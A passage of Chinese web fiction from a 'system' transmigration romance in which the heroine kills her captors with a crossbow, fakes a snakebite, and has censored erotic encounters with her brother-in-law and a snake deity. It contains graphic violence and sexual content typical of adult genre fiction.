林素透过车窗看了一眼四周,问宋太爷:“整座山都是宋家的吗?怎么没见到一个人?” 宋太爷颇为得意的笑笑说:“早些年我看中这儿的天然温泉就买了这座山,算是宋家的地皮,外人进不来。”他还特意指了指荒掉的麦田:“之前这一片的耕地也是宋家的,我嫌种地的吵就赶走了。” 说的多么轻巧、得意,只是嫌吵就断人生计。 林素放心的吐出一口气:“听你这么说,我就安心了。” “安心?”宋太爷没听明白。 窗外艳阳高照的天却突然阴了下来,乌云翻涌着遮天蔽日,车厢一瞬昏暗,只有林素一双眼在熠熠生辉。 她看向宋太爷,笑着抬起了自己戴指环的右手,轻轻转动指环,那黑色指环发出“哒”的轻响忽然蓝光交错汇聚成了一把半臂长的弩。 林素握紧弩,几乎没有瞄准一箭射出—— “砰”的一声,司机的脑袋被箭洞穿,鲜血和404的尖锐爆鸣一起喷射而出。 车子失去方向朝着大树疾驶。 404尖叫:“宿主!”的功夫,林素已再次射穿了同车另外两名大汉的脑袋,血和脑浆喷溅在宋太爷脸上,他像是被冷雨兜头浇了一脸似得剧烈喘息着,惊恐的瞪着林素,不敢相信她居然杀了人!连杀几人! 她看起来平静极了,就像是碾死了几只蚂蚁,在摇晃的车厢中将弩箭对准了宋太爷。 “你、你……”宋太爷惊骇失措的慌忙去拉车门,拇指才扳动扶手,林素的弩箭就射穿他的喉咙,射碎玻璃穿出了车厢。 血喷溅在林素脸上,她连眉毛都没动一下翻身跃到了车前座,猛地踩下刹车。 车子擦着大树险险停下来。 “啊!!宿主您在干什么?!”404被这一幕吓傻了,只是眨眼间车厢里的人就变成了血和尸体,“您那是什么阿贝贝啊!!哪有人拿杀人工具当阿贝贝??啊啊啊这要怎么办!后面的车停下来了!!您要解释这么多死人啊!” 林素往车镜里看了一眼,后面跟着的车停了下来,那名掌事带着几名大汉匆匆忙忙下车朝她这边赶过来。 “出什么事了?怎么开的车!太爷您受伤了吗?” “快快,先看看太爷有没有事!” “你太吵了。”林素竖指让尖叫的系统闭嘴,就坐在前排没有动。 掌事着急忙慌的走到车边,探头朝车内看,被眼前的景象吓得毛骨悚然,张嘴要尖叫,一支弩箭射进他嘴巴里带着血浆穿了出去。 404崩溃。 林素杀人如射气球一样,调转方向“噗噗噗”几箭将靠近车子的所有大汉射穿。 没有一声尖叫,没有一句废话。 404胆战心惊的发现:宿主想杀人的时候是没有表情、没有一句废话的……它居然忘记了宿主她[惊悚女王]这个称号的来源! ※ 后车里仅剩的一名大汉只看见靠近太爷车子的人一个个倒下,血沫飞溅,却根本没看清是怎么死的,跟见了鬼似得。 乌云压在天际,四周像夜里一样昏暗,荒郊野外连鸟鸣都不见了。 车内的高大汉子出了一脑门的汗,押着身侧被捆绑的宋文友,根本不敢下车去查看,只大声的喊同伴的名字,可没有一个人回应。 “嫂子!”宋文友趁机一胳膊肘子撞开吓傻的大汉,窜身跳下车,挣扎着被捆绑的双手朝前车跑过去:“嫂子你在吗?嫂子!” “站住别跑!”车上的大汉慌忙推开车门,下意识想追宋文友,却在探头的一瞬间看见了什么东西寒光一闪的朝自己射·过来。 “噗”一声那东西扎穿了他的喉咙飞出去,他倒下时才反应过来是一支弩箭。 宋文友只听见背后有人倒地的声音,回过头却只看见黑茫茫的乌云之下车里已经没有一个人了,刚才押着他的男人就挂在车窗上,喉咙血淋淋的在冒血。 他、他是怎么死的? 山野间寂静无声,只有腥腥的风。 宋文友在这一刹那毛骨悚然,冷汗淋漓,什么“东西”在短短几分钟的时间杀光了所有人?那他大嫂呢?大嫂她还在吗? 他不敢想,脸色苍白的奔到前车边,推开倒在车窗上的掌事拉开车门,入眼是鲜血淋漓的宋太爷,满车的血和脑浆,他险些吐出来,捂着嘴在前排看到了倒在副驾上的林素。 “嫂子!”宋文友强忍恶心拉开副驾的门,将林素从车内抱了出来,看见她半边脸上都是血,心都凉了,手脚冰冷的慌忙去探她的鼻息:“嫂子别吓我,醒一醒……” 热热的气息浮动在他指尖,嫂子还活着! “嫂子你醒醒!”宋文友用袖子替她擦掉脸上的血,轻拍她的脸,摸到了她脖子上热热的血,慌忙扭过她的脸,赫然发现她脖颈上有两个正在冒血的血洞,“你被蛇咬了?” 宋文友分辨不出那血洞是不是毒蛇咬的,只凭借着有限的生存知识低头含住了她的伤口,用力的吸吮她的血…… 林素睁开眼瞧见乌云之下隐隐透出来的雷光,无声的笑了笑,既然柳仙那么能忍还不出手,那她就只能先动手嫁祸给祂了。 她在宋文友再次含上她的脖子时,申吟着醒过来。 “嫂子?”宋文友立刻抱紧她,惊喜万分的看她睁开的双眼:“你醒了?你感觉怎么样?” 她单薄消瘦的身体在他怀里颤抖起来,苍白的 脸上满是惊恐,看清是他后忽然抱住他的腰哭了起来:“救我文友,有蛇……车里突然全是蛇,咬死了太爷……我吓坏了,我想救他们但我做不到……我是不是也要死了文友?” 404目瞪口呆,它才吓坏了!被宿主吓坏了!它从来没有带过一言不合就杀光所有人的宿主!就算崩坏世界里的boss柳仙也没有这么凶残的! 可宿主哭的梨花带雨,瑟瑟发抖,要不是宿主脖子上的咬伤是它帮忙伪造的,它都要信了。 单纯的宋文友被哭的心都碎了,把她搂进怀里胡言乱语的安慰她:“你不会死,我不会让你死的嫂子……别害怕嫂子,他们死了是活该……不怪你嫂子,没事的……” 乌云内突然响起惊雷。 林素哆嗦一下就被抱得更紧了,宋文友把她的脸贴在胸口,她看见凌乱的衬衫领口内汗津津的胸肌,又软又粉,因为紧张,挺起的地方格外明显的顶着衬衫。 真不错。 ※ “轰隆——” 惊雷炸在柳仙庙之上,暴雨突如其来的就砸了下来,顷刻间浇灭所有烤蛇的火堆、火把,将庙前的巨大柳树吹的拦腰折断。 柳仙庙前所有人都被这股疾风骤雨吹到在地。 宋衍之一手抓住门柱,一手扶住宋显祖才堪堪站稳没被吹倒,但他的亲随军已经被吹的东倒西歪,爬了一地。 宋家那几个老东西也趴在地上,被下人们护着在高声喊:“柳仙大人发怒了!” “柳仙大人息怒!” “柳仙大人……” 就连宋显祖也抱住他的手臂瑟瑟发抖说:“停手吧衍之!柳仙大人真的发怒了!再这样下去所有人都得死!” “放屁!”宋衍之已经做到这种地步,就根本不会自打嘴巴的信什么柳仙,就算真有他也照杀不误! 宋衍之正想下令亲随军起来,进庙给他砸。 就有一道瘦小的身影,顶着风挤过来,哭着喊:“大爷、三爷快救救夫人吧!” 是林素身边的丫鬟桂香。 宋衍之和宋显祖同时看过去,见桂香红着眼,哭喊着说:“宋太爷把夫人和二爷抓走了!说要逼他们生孩子!” 宋显祖心一下子沉了,太爷还是出手了…… “什么时候的事?”宋衍之黑着脸丢开宋显祖,居然敢趁他不在抓他的人,冷声问:“抓去哪里了?” “不到半个小时前!”桂香飞快交代:“他们一走我就跑过来了!是朝山里的方向!” 瓢泼大雨之下,宋衍之跨下庙堂,脸色比天色还阴,扫着地上以宋开泰为首的几个宋家长辈,高声下令说:“把他们几个全给我绑了!要是我二哥和大嫂有什么三长两短,我要扒的就不是蛇皮了!你们一个别想活!” 亲随军应是。 他跨步到车前,一句废话没有拉开车门上车,看了一眼还站在柳仙庙前瑟瑟发抖的宋显祖,心里恼火至极,那是他的妻子!他但凡是个男人就不该让自己的妻子被逼着“借种”! 谁敢动他妻子,就该杀光他全家才对! 13.第 13 章 暴雨下的太急太凶了,宋文友把车上的尸体脱下来,又把林素抱进了副驾里,她浑身已经淋透了,瑟瑟发抖的让人担心。 她本就穿着一套单薄的石榴红旗袍,湿透之后裹在身上简直像一张薄透的油布。 宋文友去另一辆车里扒了宋太爷的外套,他死在车里衣服没被淋湿只是沾着不少血,宋文友撕掉被血染红的部分回车里想替林素裹上。 她却抖着推开他的手,皱眉说:“太臭了,我不要。” 这样矫情的话被她说出来却一点也不讨嫌,娇娇的,可怜的,让人觉得是自己没能照顾好她。 宋文友不敢把目光望她身上放,只哄着她把衣服盖在她腿上说:“只盖着腿好吗?能暖和一点,也闻不到臭味,嫂子将就一下我马上就带你下山看医生。” 她眼眶微微发红,却没有再推开他的手,像是委屈的勉强接受了。 宋文友就更愧疚了,是他太没用了,大哥特意留下他照顾嫂子,可他却眼睁睁看着宋太爷把嫂子绑走什么也做不了。 “对不起,是我没用让嫂子遇上这样的危险。”他很轻的说。 404:“……他丝毫不明白遍地尸体的危险是您创造的。”最大的危险人物就是宿主! 林素抱着湿透的双臂,什么也没说,只是装作难受的样子把脑袋歪靠在了宋文友的肩膀上。 宋文友立刻调整姿势,想让她靠的舒服些。 林素闭着眼吩咐系统:“让我的体温升高。” 404虽然不明白宿主要干什么,但也不敢有任何异议,立刻将宿主的体温升高到低烧状态,又开启了[屏蔽不适]功能。 暴雨砸在车窗上。 宋文友发动车子顺着来时路往山下开,却在第一个路口就傻眼了,暴雨冲刷导致山上的一棵大树连根拔起倒在路口,把路全部堵死了,凭他一人的力量根本没办法挪开树下山。 他再回到车上时发现林素脸红扑扑的在低烧,这样不行,得先想办法把她的衣服烘干。 “嫂子,你别睡。”宋文友托着她的脸,一边叫她的名字一边开车找附近能避雨的地方,想生个火先让她暖起来。 可绕了一大圈附近都荒凉至极,林素的脸却越来越烫,身体也支撑不住似得滑倒在他手臂里,不适的呢喃:“我难受文友……” “哪里难受嫂子?”宋文友托着她热热的身体,心焦至极,边开车边垂头看她:“是冷吗?还是痛?” 林素病歪歪的身体紧挨着他,不舒服的用脸颊去蹭他的手,把大半张脸埋在他掌心里喃喃:“冷……我冷的厉害,你抱着我,抱着我文友……” 她脸上又热又湿,连噌动在他掌心里的嘴唇都很烫。 宋文友被她噌的心乱如麻,身体和呼吸也在跟着升高温度,哑哑叫了一声:“嫂子,我身上湿……”也像是在提醒自己,这是大嫂,是大哥的妻子。 可掌心里的人抖得那么厉害,难受的那么可怜,她侧过头用发红的眼睛不清醒的看着他,虚弱低哑的说:“那你打晕我吧……我太冷太难受了文友……文友……” 她一声声的叫,把他潮湿的心都叫涨了。 他想:是人命重要?还是所谓的名节道德重要? 她都烧成这样了,他还在考虑什么?人命大过天,就算大哥现在就在旁边,他也该救嫂子! 宋文友把车猛地停下,没有再犹豫褪掉了身上湿淋淋的衣服和其他,又托起不清醒的林素,涨红着脸说:“嫂子,把湿衣服脱了我抱你,我帮你脱了湿衣服好吗?” 林素在他手掌里点了点头。 他僵着手指去解旗袍上的盘扣,那一粒粒扣子像一枚枚钉子,每解开一粒就往他脊背上扎一粒,他很清醒的知道自己在做什么,也很清楚自己此刻的心跳是为什么猛烈。 为她显露出来的粉白肌肤,为她滚烫的体温,为她散发出来的潮湿香气,为她石榴红的内衬衣,为她被他手指碰过就战栗的毛孔…… 他剥开了石榴红的旗袍,只留下她的内衬和短裤,根本不敢看她,仓皇的把她托起来抱进怀里,让她整个身体贴着赤罗的他,慌张的抓过宋太爷那件外套裹在了她的背上。 “这样会暖和点吗?”宋文友的体温烘烤着两个人,他僵着身体轻声问她。 “冷……”林素侧坐在他膝上,动了动,更紧的缩进他怀里,脸颊贴在他胸膛的那点上,很清晰的感觉到他身体更僵了,她坐的也更硌得慌了。 宋文友就把她抱的更紧了,热热的手掌抚摸着她颤抖的背,另一只手握住了她冰凉的脚捂着,喉咙里无法克制的喘出一口又一口气,像是再不喘气就要涨的炸开了。 他想他真的该死,他清醒的对林秀产生了不该有的欲·念。 可他已经没有办法掩饰,她们紧紧贴在一起,他的心跳和念头就贴在她的脸颊下,他在心里一遍遍祈祷着,希望嫂子烧糊涂了,不要太清醒,不要揭穿他龌龊的起心动念。 车窗紧紧关着,暴雨将玻璃外的世界冲刷的什么也看不见,就仿佛天地间只剩下她们俩,车内的温度随着他的喘·息在升高、升高。 怀里的林素似乎真的迷迷糊糊,一直在喃喃着叫他的名字,用滚烫的脸颊噌动他的胸口。 “文友……文友……” 宋文友起先还应她,但渐渐他快被她弄的疯掉了,除了喘气就只剩下求饶似得话:“嫂子别动……好不好?” 他像是快要熟透一样热。 林素看见他的肌肤烧成了透红色,故意用嘴唇噌了噌。 他立刻呼吸着慌忙伸手托住她的脸,“嫂子……”低头看她的双眼都仿佛要哭一样涨红着,张张嘴却又难以启齿一般说不出让她别乱动。 只哑声又叫她一声:“秀秀……” 这一声却叫的暧昧至极。 林素就那么看着他,因为温度过高脸颊绯红,眼眶也 红红的,不清醒不聚焦的望着他,抱住他的腰怕冷的贴进他的脸,鼻腔里哼哼似得说:“文友我不舒服……” 宋文友骨头都酥了,隔着外套抱紧她的背、她的脚,移不开眼睛的望着她凑近的鼻尖、嘴唇、眼尾的一粒红色小痣,目眩神迷的喃喃:“冷吗嫂子?我抱紧你,抱紧你好不好?” 她的唇离得那么近,好似要亲上来一样在他嘴边、鼻尖晃来晃去,手指从他的脊背划上来,抱住他的脖子娇滴滴、羞怯怯的说:“我说不好……身上又冷又热,一直在流汗,好像中毒了……文友我是不是快要死了?” 宋文友早就感觉到她浑身汗津津的,脑子热烘烘的忘了说话,见她要去抓脖子上蛇咬的伤口,慌忙握住她的手:“别抓,你受伤了不能抓。” 她却要哭似得往他脸前贴:“可我痒……怎么办?” 怎么办? 宋文友看着她贴过来的脖子,大脑烧成了浆糊,没有思考的张嘴吻上了那伤口,用嘴唇、用舌头一下一下的替她解痒。 她低哼着抱紧了他的脖子,指尖陷在他的黑发中挺着身体颤抖。 那声音就像是钩开了宋文友最后一道防线,他彻底昏了头脑,箍紧她的腰从伤口吻上了她湿热的嘴唇。 她也用滚烫的嘴唇回应了他。(审核员只是亲了) 宋文友天旋地转,这是他第一和人亲吻,他从来不知道单单是亲吻就足以让人神魂颠倒。 这完全是他没体会过的,她好软,她怎么能这么柔软,这么炙热…… 宋文友失了魂一样用力亲·她,她牵着他的手摸她的脸。 他手指颤抖,像是在浏览世上最美丽的风光。 车厢里太热了,她挣扎开他的吻,仰起头呼吸,他的呼吸也被一同夺走了,他缺氧一般失·焦的盯着她的脸,她微微眯着眼,眼尾的红痣随着她的身体一晃一晃,嘴唇被亲的红肿……(审核员没有后续了,只有亲吻和凝视) 那简直是他看过最美的一张脸,他融化的脑子里反反复复出现一个词:伊甸园、伊甸园…… 诱人沦·陷的伊甸园。 车厢里温度升高,热气弥漫在车窗玻璃上遮住了所有视线,一条蛇尾突然从车顶垂下来黏在车窗上…… 狂风暴雨之中,乌云压的山野一片漆黑,无人看见轿车之上盘踞着一条粗壮的黑蛇尾,蛇尾在暴雨中光泽粼粼的裹紧了车身,顺着蛇尾往上是盘旋在小山峰上的巨大蛇身一直蜿蜒到乌云之内,闪雷隐隐,乌云之内看不见蛇头,只能窥见电雷中的静默金光,像两只巨蛇的瞳孔,凝视着那辆车。 雷声、雨声和车内透出来的申吟声交织在山林里,血腥味、泥土味和她身上蒸腾出的香气吸引着蛇尾,祂躺下黏夜,不自觉的颤动尾尖。 她的声音、气味、体夜传递出诱·人的信息——雌性的成熟期。 闪电无声的划过阴云,照亮山野,轿车上的黑蛇尾突然不见了。 14.第 14 章 “统帅路被挡住了!”山路之上两辆车一前一后停下,副将程军跳下车去查看挡在路口的大树。 宋衍之推开后车门,快步过来看着盘根错节的大树根,没有犹豫就下令道:“所有人下车,把树抬开!” 他没一句啰嗦,把军帽和军服甩进车里,从后备箱拿了一把斧子,轮开了三两下就将树干一分为二,方便搬动。 副将程军也不敢多说什么,他深知统帅今天无论如何都要追上宋太爷,把那位宋夫人和宋文友救回来,他当下立刻带着亲随军挪树,但挪到一半他就觉得不对劲了,他低头看着从山上留下来的泥水,叫了一声:“统帅,这是……” 宋衍之也看到了,他脚下踩着的泥水是淡红色的,这是血水,从山上留下来的血水。 他心里沉了一下,咬紧后槽牙:“抓紧时间!”宋太爷要是真敢动他大嫂和二哥,他今天一定将宋家这群老东西全剥皮抽筋! 亲随军全部上去,只用了几分钟的时间就将砍开的大树推到路边。 宋衍之一秒也没有耽搁,亲自开车在泥浆里冲上了山,顺着血留下来的痕迹一路开过去,辨认出这个方向是要去宋太爷山上庄园,老东西是想把他嫂子和二哥囚禁在庄园里“借种”吧。 就为了劳什子柳仙,这群老东西人伦和脸面都不要了! 天越来越黑,宋衍之车轮碾到什么东西紧急刹车,才透过车灯看见停在前面山道上的轿车。 他立刻下车,赫然看见车轮碾到的是一具尸体,而放眼望去血水弥漫的山道上躺着一具又一具的尸体,他不敢多想快步冲到那辆在往下淌血的车子,拉开车门的瞬间就被血腥味熏的皱眉。 他打车手电筒一具又一具尸体辨认,没有嫂子,也没有宋文友。 “统帅!这些死人好像全是宋家的家丁,都是被类似弓箭的东西一箭毙命。”副将检查过尸体跑过来说:“没有找到宋夫人和宋文友,而且好像少了一辆车。” 桂香说的很清楚,两辆车带走了大嫂和宋文友。 宋衍之顺着车辙检查了一圈,“另一辆车开走,顺着这个方向追。” 他迅速上了车,朝着车辙的方向找人,可心里却困惑不解:是什么人杀了宋太爷他们?这个人本事了得,近距离射杀了这么多人,又带走了他大嫂和宋文友?为什么?这个人要把她们带去哪里? 闪电无声的划过,将整个山野照亮又迅速熄灭。 ※ 山风中的腥气好像更重了,将整个山林涨满。 “宿主小心!”404突然发出警报:“是柳仙!” 正在兴头上的林素双手还扶在宋文友肩上,却突然感觉到宋文友整个身体一软,栽倒在了她怀里,脸上的热汗还没消。 闪电一瞬照亮车厢,她在光亮中看见一条蛇尾从宋文友的身后伸出来,迫不及待的卷住了她的身体。 车内重新陷入一片漆黑,她双眼盲了几秒触感放大,缠裹在身上的蛇尾冰凉而潮湿,一点点在收紧,这一次黑蛇紧紧裹住了她的双手,让她无法在动弹,失控颤动的尾尖从她的脊背绕过来,穿过她的身体。 冰冷和收紧的触感令她不自觉深吸了一口气,颤抖起来。 “是柳仙的原身!宿主您还好吗?要不要为您开保护模式?”404吓得毛骨悚然,那蛇尾大的几乎将整个车厢塞满,宿主的身体在祂尾巴里像一截嫩藕,随时都可以被祂轻松折断。 “祂没有选择附体宋文友。”宿主越抖越厉害,但和它交流的声音却出奇平静:“这说明附体除男主以外的人对祂来说非常不明智,大概率是会限制祂的神力。” 蛇尾无声的像在杂草中探索巡视。 她长吸一口气,颤抖着仰头瘫软在蛇身上,挣了一下被束缚的双手,无助的扣住了裹住她的蛇皮,闭眼重重呼吸。 长进了,知道束缚她的手了。 “那祂的蛇结应该只能通过原身或者宋衍之来寄生。”林素依旧平静的在和它说:“所以祂才选择原身来跟我缔结。” 404看着她纹丝不动的惊悚值,惊的一愣一愣,宿主她现在的状态难道都是演的?? 车厢里热气蒸腾,蛇尾越探索越深。 林素突然低叫了一声,身体拼命的往上挣扎起来,素白的手指扣进蛇皮里,血从她指尖低下来,她颤抖着哑声叫起来:“不要……痛……我不要……” 她脚尖绷直的挣扎着,蛇身下意识更紧的束缚她,缠住她的双脚、双手。 泄直腔已经打开,两个可怕的东西伸展出倒刺像是要固定住她。 林素就挣扎的更剧烈了,手指像是要撕下一片蛇皮似得拉扯,连叫声也变更哑更惊恐,“不行不行……我会被撕开……” “宿主!”404立刻弹出了传送门。 “啧。”林素嫌弃的声音清晰传到它耳朵里,它整个系统都呆住了,只见宿主仍然叫的很可怜,像只无法挣扎的麻雀,脑袋倒在冰冷的蛇身上瑟瑟发抖的哭了起来,用高超的演技说着限制级的话:“痛……我不行,快口口口口——肚子要烂了……你附体……附体宋文友口口口口……不行不行……” 404盯着她仍然是零的惊悚值,内心震撼,宿主就连哭也是在装。 而她的眼泪珍珠似得往下掉,蛇皮像是被她的眼泪烫到一般,收缩了一下,突然停了下来。 车厢里只剩下林素颤巍巍的哭声,黑暗中什么东西在一点点朝她靠近,猩红的蛇信先吐出来,贴近林素哭泣的脸,颤动着舔她脸上的眼泪,像是在收集她的信息。 蛇信收回去,黑暗中一双灯笼大的瞳孔跟着显现出来,金色瞳孔像蒙上的白的迷雾,黑色竖瞳在轻微的摇摆。 林素哭着掀起潮湿的眼皮,看见了那双雾蒙蒙的金瞳,冷不丁对系统说:“祂现在是蒙眼期。” “啊?”404仍沉浸在对演技的叹服中,听的一愣,没反应过来,但它系统内的混乱剧情中随之亮起了一条线索——柳仙的劫。 震撼,当它以为宿主只是想开荤时,宿主就这样又恢复了一条剧情线。 “太痛了……”林素垂下眼哭的声音更大声一些,毕竟“蒙眼期”的蛇视线会越来越弱,直到全盲,祂现在瞳孔泛白的状态应该是初期,视弱,看不太到她的眼泪。 所以祂才需要蛇信来收集信息辨认她是不是真的哭了,痛了,快死了,坏掉了。 她感觉到冰冷的蛇信又舔上 她的脸,像在触摸泪水,又触摸了她的汗水,她唇上的口夜……最后又在她脖颈上自己制造出来的“蛇咬痕”舔了舔。 然后蛇尾缓缓的从她身上撤离,她的整个身体一空一松,下一秒就被一双冰冷的手抱了住。 她看见原本昏迷在椅背上的宋文友睁开了眼,瞳孔没有变成金色,就仿佛没有被附体,只是盯着她的双眼没有一点人类的情绪,静的像是一双塑料眼睛。 他的身体变得无比冰冷,双手却牢牢抱着她,检查一般用手指摸了摸她的脖子上的伤口,从伤口到嘴唇,最后又到她的肚子上。 他的手指像冰冷的手术钳,林素止不住颤抖起来想挣扎,又被他的手托住脊背固住。 她听见宋文友没张开的嘴巴里发出一道冰冷陌生的男人声音。 “撒谎。”祂对她说。 林素狡辩一样说:“就是很痛,我肚子里的五脏六腑一定被挤碎了。” 祂冰冷的手指捂着了她的肚子,像是感知什么似得,几秒钟之后静静看着她又说:“也在撒谎,五脏六腑好好的待着。” “这里。”祂抬起手又揉了揉了她脖子上的蛇咬痕:“也是假的。” 林素垂下眼看住了他,脸上还挂着眼泪,唇角却多了一点笑容说:“被你看穿了,真没办法。” 祂的眉头皱了皱,她刚才的脆弱和害怕好像也是假的,这一刻坏笑的她似乎才是真的,祂不明白,祂读不懂她:“撒谎做什么?” 她不装了似得擦掉眼泪,笑盈盈缠上了祂的脖子,抱着祂,咬着祂的耳垂低低说:“为了吸引你出来啊,问东问西,你到底还要不要继续了?” 热热的气息环绕着祂,祂奇异的感觉身体不知道为什么麻了,手掌本能的抱住她热到发烫的身体,贴近这团热源。 她吻祂的耳垂。 祂又痒又麻,睁着的瞳孔不自觉在晃动,她又吻祂的脖子,从脖子吻过来张口轻咬了一下祂的喉结。 祂触电一般浑身僵直,仰起头盯着车顶瞳孔颤动的祂产生了剧烈的晕眩…… 原来人的身体被“妻子”亲吻是这种美妙的感觉。 祂能更清晰的听到她的呼吸声,更清楚感受到她的热,她的潮湿,她每次亲吻都带来前所未有的感觉。 脖子有脖子的感觉,喉结有喉结的感觉…… 祂晕眩的几乎失去掌控力,感觉到她要进行最后一步时,祂才警觉过来紧紧箍住了她,停止了她的动作。 林素汗津津的看向祂,祂震颤的瞳孔在收缩,她立刻对系统说:“监测祂的心声。” 404根本没跟上她的思路,只本能的开启[监测功能]。 “为什么不要?”林素低头咬了一口祂的脖颈。 这一下又让祂的意识涣散了几秒,险些失去掌控,但不行,祂的蛇结只能蛇胎送进去,只能是宋衍之,其他人不行。 “监测到了!”404惊喜的看见系统界面里又一条剧情线索浮现,上面写着——蛇胎宋衍之。 太靠谱了它的宿主!它正想汇报,车窗外两道刺眼的车前灯照了进来。 大雨里有人喊道:“统帅车子在这里!” 宋衍之找过来了? 15.第 15 章 车子的刹车声传进车厢。 林素扭头朝车外看出去,只见满是雾气的车窗外一道身影快速靠近,门把手被拉了一下没拉开,然后她看见车窗外宋衍之弯腰看进来的双眼。 那双眼从着急到困惑,然后是瞳孔地震。 这可太有趣了,这才是限制文嘛。 林素被那双眼睛盯的兴奋,故意搂紧宋文友的脖子朝车窗外笑了笑。 那双眼睛就被怒火点燃了,一拳头砸在车窗玻璃上。 “好吓人啊。”林素把脸缩进他脖颈里,对柳仙说:“我们被发现了,你快杀了他,不然我就完蛋了。” 她的声音从喉咙里震颤着传出来。 祂抬起脸又静静的看了她,不知道她这句话里有几个字是真的?她真的害怕被发现吗?可她的气味闻起来一点也不惊恐。 祂用鼻尖蹭了蹭她的喉咙获取更多信息,“又撒谎。” 她闻起来像淌蜜的花蕊,这是兴奋。 “宿主!”404突然吃惊的开口说:“您刷出了柳仙的攻略值!这是怎么回事?不是只应该男主有攻略值吗?” 系统界面弹出来,林素看见宋衍之的攻略值旁边多了一条金色的攻略值——【柳仙攻略值:30/100】。 比男主的多快十倍,祂是素太久了吧。 “宋文友!”宋衍之暴怒的声音从外面传进来,他掏出了枪像是要打碎车门。 祂闭着眼恋恋不舍的张口轻咬了一下她的脖子。 下一秒枪响时,宋文友的身体已经软绵绵歪在了林素的手臂上。 这就走了? “看来柳仙在避免和宋衍之爆发冲突。”林素对系统说:“宋衍之可能是祂的一部分。” “您怎么猜到的!”404吃惊:“是的!监听到柳仙说宋衍之是祂的蛇胎。” 蛇胎? 林素有些意外,怀里的宋文友已经吃力的睁开了眼睛,眼神如梦初醒一般,看着她困惑的叫了一声:“嫂子?我怎么好像昏过去……” 紧接着他听见车把手被击碎的声音。 宋文友下意识护住了林素,扭头看见车窗外宋衍之要喷火的眼睛,吓得浑身一抖像见鬼一样。 ※ “所有人退到山道上!” 宋衍之要砸开车门的手又立刻停下,转头对跟过来的亲随军高声下令:“没有我的命令不得靠近!” 他脑袋烧着了一样嗡嗡作响,恨不能现在就冲进车里打死宋文友,但他仍然压着怒火让所有人离开。 他不能让任何人看见车里的那一幕,那足以毁了林秀,毁了宋文友,也毁了他们这个家! 大雨冲刷在宋衍之脸上,他握枪的手都在抖,脑子里无法控制的回忆着刚才看到了一幕—— 赤条条的宋文友怀里抱着只剩肚·兜的大嫂。 会是他误会了吗?他们可能只是在取暖? 狗屁! 他亲眼看到宋文友不只对她又亲又咬,抱在她背上的手指还在狎·昵的抚摸她! 就算是个傻子也看的出宋文友在干什么!宋文友怎么敢!那是他的大嫂!是他大哥的妻子!他在亲吻她时有没有一秒钟觉得对不住大哥?! 宋衍之看着所有亲随军退下山道,看不见人影了才转身猛地拉开了车门,一股温暖暧昧的甜腻气息从车内冲向他,那是大嫂的体香混杂着男人的气味,他被冲的火冒三丈,看见宋文友才刚刚把裤子穿上顿时没了理智,伸手抓着宋文友的肩膀就把他扯了出来,按在地上一拳一拳砸在他脸上。 一下比一下狠。 宋文友却连躲也不躲,被打的口鼻冒血也没发出一丝求饶的声音。 暴雨冲在他身上、脸上,他吐出了一口血沫。 宋衍之本来想停手了,却又看见他光着的上半身一些抓痕、吻痕,连胸口都红肿的异常,怒火就又被浇了油,重重的两巴掌扇在他脸上,掏出枪顶住了他的脑袋。 车内的林素慢慢扣上最后一粒扣子,靠在椅背里看戏似得看他们。 “你干了什么宋文友?”宋衍之愤怒的额角青筋暴跳,压着声音质问道。 宋文友被打的唇角、鼻尖全是血,脸色惨白的仰起头没有躲开枪口,张了张嘴像是要解释,又觉得没什么好解释的,最后只是说:“就是你看到的那样,你要开枪就开吧。” “你给我解释!”宋衍之就更加愤怒了,他想听他解释,哪怕是狡辩也比现在他一口承认的强! 至少前者的宋文友可能是中了什么毒,得了失心疯,一时昏了头才对大嫂干出这种事,但后者摆明了是承认他喜欢上了大嫂! 可宋文友看了一眼车内的林素,仿佛下定决心一般,在枪口下出奇清醒的说:“没什么好解释的,就像你看到的那样,我是情不自禁,但秀秀她……她是中毒了,她不是处于清醒状态和我……” 还没说完又挨了宋衍之一拳:“那是你大嫂!宋文友!你忘了大哥是怎么把我们带大的吗!”宋文友怎么敢在他面前叫她秀秀?! 宋文友牙龈都在冒血,又冷又痛,可他不想为自己开脱,秀秀在看着,在听着,他希望秀秀能明白刚才车里发生的一切他都是清醒的,发自内心的。 也许一开始是为了替她取暖,可后来亲吻她、抚摸她,他全部是情难自控,虽然秀秀可能是因为中毒才“意乱情迷”。 但他不后悔,他仍然看着宋衍之说:“是,我喜欢上了大嫂,你现在打死我吧。” 宋衍之气的脸色青白,握着枪的手不停在发抖,扣动扳机的瞬间抬起手“砰砰砰——”朝天空连射数枪,像是要气疯了低头抓住宋文友的脖子,一字字对他说:“今天的事,我就当没有看见,从今以后你再敢对大嫂有任何非分之想我一定杀了你。” 他根本不等宋文友再说话,拽起他就把他塞进了另一辆车里。 404被这刺激的剧情惊的说不出话,看着宋衍之提着枪又怒气腾腾朝林素过来,心想完了,男主那点可怜的攻略值又要退回负数了,但点开查看呆住了,男主的攻略值怎么突然就涨到了百分之十?! 为啥啊? 宋衍之大步走到车边,将手里的外套粗暴的丢进车里。 林素还没反应过来,他已经上了车将破碎的车门拉上,一双眼怒火滔滔的盯着她,在她脸上、脖 子上巡查一般,目光最后落在她右侧脖子的咬伤上。 他也不说话,伸手就要托起她的脸。 林素往后靠了一下,躲开他的手。 宋衍之眼睛里的怒火就更盛了,她刚才搂着宋文友那么亲昵现在要躲他?他只是要看看她的伤口! 她靠在阴影里就那么漫不经心的看着他,头发乱了,旗袍也脏了,脖子上除了蛇咬的伤口还有一些暧昧不明的红印。 看起来又可怜又可恨。 他真的很想问问她,真的是因为中毒她才神志不清任由宋文友那样吗? 可他又怕问出口后,得到她更漫不经心的回答。 她这样的女人仿佛不在意任何名声、道德、廉耻,什么也无法束缚她,只要她想她就可以让任何男人伺候她,哪怕是她的小叔子宋文友。 他心里那么恼怒她,既然嫁给了他大哥?为什么不能安分一点? 可他的恼怒里又那么不纯粹,因为在她躲开的一瞬间,他心里居然在想:宋文友可以碰她为什么他不可以? 而这个可怕的念头根本止不住的衍生出新念头:她为什么对宋文友那么温柔?却独独对他那么抗拒? 她为什么不能像对宋文友那样对他? 她为什么就不嫌弃宋文友有味儿? 她又为什么选中宋文友? 为什么为什么…… 宋衍之快被脑子里的念头搞疯了,他不能再离她这么近、进入她的香气范围、和她对视…… 他撇开眼睛,生气一般将自己的军服外套粗鲁的在她身上裹住,抓住她的手臂,一言不发就将她横抱下车,又伸手把外套上来遮住她的脸。 雨全淋在他的军服外套上。 林素听见系统激动的说:“宿主!男主的攻略值就在刚刚又长了!长到了百分之二十!惊人!” 